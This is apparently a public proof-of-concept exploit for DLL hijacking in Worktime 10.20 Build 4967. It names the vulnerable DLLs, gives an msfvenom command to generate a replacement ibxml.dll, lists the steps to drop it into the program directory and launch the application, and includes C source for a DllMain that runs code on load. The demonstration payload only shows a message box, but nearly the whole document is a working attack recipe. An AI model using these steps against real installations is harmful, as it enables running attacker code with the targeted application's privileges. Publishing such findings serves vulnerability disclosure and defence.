Worktime 10.20 Build 4967 DLL Hijacking

`/*   
Description:   
A vulnerability exists in windows that allows other applications dynamic link libraries  
to execute malicious code without the users consent, in the privelage context of the targeted application.  
  
Exploit Title: Worktime 10.20 Build 4967 DLL Hijacking Exploit   
Date: 15/01/2022  
Author: Yehia Elghaly   
Vendor: https://www.worktime.com/  
Software: https://www.worktime.com/download/worktime_corporate.exe  
Version: Latest Worktime 10.20 Build 4967  
Tested on: Windows 7 Pro x86 - Windows 10 x64  
Vulnerable extensions: .htm .html  
Vulnerable DLL: (ibxml.dll - WINSTA.dll)  
*/  
  
  
Instructions:  
  
1. Create dll using msfvenom (sudo msfvenom --platform windows -p windows/messagebox TEXT="Work Time Hacked - YME" -f dll > ibxml.dll) or compile the code  
2. Replace ibxml.dll in Worktime directory C:\Program Files\WorkTimeAdministrator or C:\WorkTime with your newly dll  
3. Launch WorkTimeServer.exe or WorkTimeAdministrator.exe  
4. PoP UP MessageBox!  
  
  
  
#include <windows.h>  
  
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)  
{  
  
switch (fdwReason)  
{  
case DLL_PROCESS_ATTACH:  
dll_mll();  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
  
return TRUE;  
}  
  
int dll_mll()  
{  
MessageBox(0, "WorkTime Hacked!", "YME", MB_OK);  
}  
`